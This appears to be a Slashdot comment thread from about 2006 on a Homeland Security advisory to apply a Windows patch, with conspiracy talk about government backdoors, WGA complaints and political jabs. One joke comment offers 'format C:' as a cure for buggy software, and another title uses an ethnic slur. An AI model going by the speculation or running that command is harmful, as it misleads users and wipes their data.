So while I applaud the Department of Homeland Security for advising the citizens of the USA to stay on top of their computer updates, I also wonder if there is any ulterior motive behind it. Have they asked Microsoft to include some code that they can use? Or for the bigger conspiracy theorists out there, have they infiltrated their own programmers among those who are writing Windows updates and Vista code?

And for the ultimate in conspiracy theories! Has anyone thought about the timing of the press release? One day before terrorist in the UK are busted in the closest terrorist attack since 9/11, and no one can use the argument that Homeland Security did not know about it the day before. It's not like they woke up and said "Let's bust some guys in England who just happen to be plotting to do something with commercial flights going to the USA"

My opinions might not be popular but they have a point. Be skeptical of everyone, till they prove you wrong!

Tinfoil Hat or Tinfoil Blinders

[eepok]

It's a simple choice on slashdot:

1) You choose to question authority because you understand man's potential for selfish motives especially when man is in positions of power. You choose to look for lies or misinformation in case they are there, not because you "know" they are there.

2) You wear tinfoil blinders and simply accept what your favorite authority figures tell you because you truly believe they mean the best for you and everyone else. You ignore history and you actually think "These guys, ya, these guys are different.

Make your choice.

Three Year Anniversary of Blaster

[crashtkd]

Tomorrow is the three year anniversary of the Blaster virus, which just happened to take advantage of a very similar vilnerability. Today might be a good day to patch... http://securosis.com/2006/08/10/today-is-a-good-da y-to-patch/

This can mean two things

[Opportunist]

First, if you consider your government to be benevolent, that the security hole this patch should fix is so critical that it does not only affect you, and your machine, but also the rest of the net, by the very simple reason that your machine is connected to it. Governments are rarely if ever concerned with the well being of a single citizen (seriously, it does not have the means to), it is concerned with the well being of the total populace. So it didn't care about the security problems that opened your machine and compromised your security, but it is concerned with security issues that allow an attacker to use you to affect the rest of the net.

Second, if you consider your government to be malvolent, that this patch introduces a better way to eavesdrop on you, that it opens up a spying channel for them, that it removes some security means that allow you to encrypt data better than they can decrypt them with their sniffing tools or that it's the first step to putting the blame on you should your computer inflict some damage to something "important" under the control of a trojan.

Which one it is is up to you.

Re:This can mean two things

[annakin]

Second, if you consider your government to be malvolent, that this patch introduces a better way to eavesdrop on you, that it opens up a spying channel for them

This is the level of paranoia I generally have. However, about a year ago, there was an article in the paper, from some federal agency (NSA?) advising people not to use IE, and simply to use *any other* browser.

It was such a straightforward, no-nonsense article that it was barely noticed. But it was notable for exactly that reason. The government basically came out and said, Avoid Microsoft for your Own Good.

Patching, on the other hand, is a little more sinister than just not using IE.

WGA Notify Was Beta Software

[Prototerm]

When Microsoft sent the WGA Notify program to all those computers, *that software was considered beta*! Microsoft even admitted that, and explained *that* was the reason the software phoned home, so they could de-activate it if they found any serious problems. It's bad enough they would put what I consider spyware on my machine, it's quite another to put *beta* spyware on my machine. I don't have the original installer anymore for WGA Notify, but if I remember correctly, the "read me" (which I don't recall being given the chance to actually *read* before the thing was installed automatically) mentioned the software was some sort of pre-release.

Bah, useless!

[Anonymous Coward]

All self-respecting terrrorists run Linux anyway.

If you do not follow orders like a good German

[WillAffleckUW]

they vill take you und lock you up in the concentration camp!

That's what happens if you dare question our Reichsfuhrer and his Homeland Security order to upgrade Windows!

Since when is Port Security an Order?

[WillAffleckUW]

These ports have to do with things like name resolution, network file sharing, remote execution, and stuff. I don't really know all the details. While linux can talk samba with windows, it is more a windows to windows kind of thing. Read this for some more info. What port 445 does [petri.co.il]

That's funny, I thought Homeland Insecurity cut all the funding for Port Security.

Good thing it doesn't affect my Bridge route.

Re:Since when is Port Security an Order?

[Darth_Burrito]

That's funny, I thought Homeland Insecurity cut all the funding for Port Security.

They did. That's why, as the great grandparent indicates, we now have to very carefully pick and choose which ports to block. In the old days, we blocked all ports by default and only allowed unmonitored traffic on a select few. Now, without Homeland Security subsidies, no one has the resources to police thousands of ports on even one pc. Now imagine you're a small organization with 50-60 pcs and you could be dealing with well over a hundred thousand ports! It's a rediculously untennable situation and a testament to our nation's blatant disregard for security.

Then nothing new, a waste of time and effort.

[twitter]

If you don't patch Windows, the terrorists win!

I'm not sure about OBL, but the spammers and assholes have already won. Not that applying the patch of the month will really help. After all, the spammers have known for years the problems being fixed this month and next month and so on ad nausea. The OS itself is just junk. That's why Windoze has a half life of 12 minutes, 80% of spam is coming from broken windoze boxes, the vast majority of email is spam and people with botnets can screw anything anyone wants to do online. With new problems found every month and none of the same problems on any other OS, you can't blame the users. North Korea is already taking advantage of the situation to spy. Directing people to constantly apply a stream of patches instead of abandoning Windoze is nothing but a waste of time.

Re:Then nothing new, a waste of time and effort.

[jb.hl.com]

Yeah it has fuck all to do with open relays, poorly configured mail servers, peoples' own damn stupidity in downloading trojans...it's all Windows' fault.

In the US.....

[jotaeleemeese]

.... it makes it obscenily easy.

Well they might

[baggins2001]

Just take away our library cards. Or take away our rights to use Windows (That would be cool).

New graphics driver needed

[VinB]

The government also raised the security alert level for Windows users from Purple to Pink after Microsoft announced it had foiled a plot to make Windows more secure.

No wonder I didn't get this one, my video settings are set to monochrome!

The update will be reverse-engineered.

[xdc]

No doubt this Windows update will undergo intensive scrutiny by individuals and companies interested in computer security, especially in light of this excitement surrounding the DHS recommendation. Any suspicious functionality will be discovered, even though we do not have the source code. The government knows this, so I would be amazed if they actually included nefarious code in this update. Besides, WGA can probably spy on us just fine, thank-you-very-much. ;)

The revolution will be reverse-engineered.

[twofidyKidd]

You bring up an interesting point, one that I didn't consider. If we (the slashdot conflux) are to take that into consideration when evaluating the intention of the DHS regarding this press-release, then we could assume that they know that any attempt at subverting privacy, security, etc. will be discovered through such means. A reverse-engineering might prove this patch and subsequent patches benign in the civil-liberties-eroding sense. If, however, it's discovered that the patch indeed performs some kind of surveillance or intelligence gathering, not only does that demonstrate a massive underestimation of "the people" by "the man", but it provides even greater evidence that we live in some troubling times. The implications of such a thing occurring are major: the government is trying to hack your home computer. Not only do you have to worry about spam, viruses, spyware and the like, but now you have to wonder if Big Brother is logging every Internet search you make (ala Yahoo!), or counts every time you view something on the government's "evil-doers" list.

You unpatriotic communist raghead whiner!

[EmbeddedJanitor]

Windows Visa will automatically send the details of people that don't update to the 'no fly' list.

Re:You unpatriotic communist raghead whiner!

[richlv]

meh. it was even funnier for me ;)
vista = chicken/hen in latvian.
given that chickens are bad at flying, it really seems appropriate to use "no fly" list :>

Slashdot has the intellectual simplicity of Bush

[AHumbleOpinion]

(http://slashdot.org/) It's a simple choice on slashdot:

1) You choose to question authority because you understand man's potential for selfish motives especially when man is in positions of power. You choose to look for lies or misinformation in case they are there, not because you "know" they are there.

2) You wear tinfoil blinders and simply accept what your favorite authority figures tell you because you truly believe they mean the best for you and everyone else. You ignore history and you actually think "These guys, ya, these guys are different.

Make your choice.

You are right, slashdot has the intellectual simplicity of Bush Jr. and most folks around here would think it is that simple.

Re: Slashdot IS more objective then 99% most

[callingalloldhippies]

Please people Wake Up!

Homeland Security issues warnings, statements, etc.
Fails every challenge they have publicly faced.
Hails ignorant prosecution of minor terrorist. Can't find the Worst of the Worst BL.

After the disclosure they busted two disgusting defiles in Two TOP administration positions of Homeland Security in charge of US Security, using H.L.S. Computers and one of the cretins actually giving out his office phone numbers, business card and or pictures of HIS badge (credentials..I don't recall which)...I have a hard time lending any credibility to anything wrapped in their letterhead.

Have any slashdotters ever heard another thing about what the outcome of that event is/was/ or is in the process of being dealt with?

Like many/.'rs, I don't like being labeled a nut, unpatriotic or paranoid but if you aren't paying attention, I fear you earn the 'there is no cure for stupid'.

What does the govt. have to do besides lie to you, play both sides against the middle and take your constitutional rights and flush them down the toilet to make you wake up.

Better than patches

[Kazymyr]

I have a solution that eliminates all threats posed by buggy software:

"format C:"

Sysinternals

[Nicolay77]

AHA!

That's why they bought sysinternals!

Now everything makes sense.

Re: Slashdot IS more objective then 99% most

[charlesnw]

Hails ignorant prosecution of minor terrorist. Can't find the Worst of the Worst BL.

It's not there job to find bl! Jeez! Homeland security. Unless BL is HERE (America=HL) it's not there job!!! GOOD GRIEF!

Re:OMG YOU'RE NEW!

[Anonymous Coward]

"Then your computer will blow up and we'll all die"

Your not real bright are you?

http://www.securityfocus.com/columnists/402

Let me configure your monitor for you.
You don't know the half of it (IT).

8 media including CNN says Bush would have won

[AHumbleOpinion]

"A comprehensive study of the 2000 presidential election in Florida suggests that if the U.S. Supreme Court had allowed a statewide vote recount to proceed, Republican candidate George W. Bush would still have been elected president. The National Opinion Research Center (NORC) at the University of Chicago conducted the six-month study for a consortium of eight news media companies, including CNN." http://www.cnn.com/SPECIALS/2001/florida.ballots/s tories/main.html